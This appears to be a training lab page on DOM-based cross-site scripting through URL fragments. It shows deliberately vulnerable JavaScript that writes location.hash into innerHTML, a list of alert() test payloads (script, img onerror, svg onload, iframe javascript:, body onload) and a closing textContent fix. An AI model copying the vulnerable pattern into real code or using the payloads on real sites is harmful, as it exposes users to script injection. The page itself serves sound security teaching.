Client-side XSS using URL fragments (#)
This lab demonstrates a DOM XSS vulnerability where user input from the URL fragment (the part after #) is directly inserted into the DOM without proper sanitization.
Objective: Inject a DOM XSS payload using the URL fragment that will execute when the page loads.
// Vulnerable code - reads from URL fragment
window.onload = function() {
// Get the fragment from the URL
var fragment = window.location.hash.substring(1);
// Vulnerable: Direct insertion into DOM
if (fragment) {
document.getElementById('output').innerHTML =
"Welcome, " + fragment + "!";
}
};
// Alternative vulnerable code
document.addEventListener('DOMContentLoaded', function() {
var hash = location.hash.slice(1);
if (hash) {
document.querySelector('#message').innerHTML =
"Hello " + hash + "!";
}
});
Try these URLs in your browser:
#John - Basic test#<script>alert('XSS')</script> - XSS payload#<img src=x onerror=alert('XSS')> - Image XSSwindow.location.hashinnerHTMLAdd these to the end of the URL after #:
<script>alert('XSS')</script><img src=x onerror=alert('XSS')><svg onload=alert('XSS')><iframe src="javascript:alert('XSS')"></iframe><body onload=alert('XSS')>Example URL:
1.php#<script>alert('XSS')</script>
textContent instead of innerHTML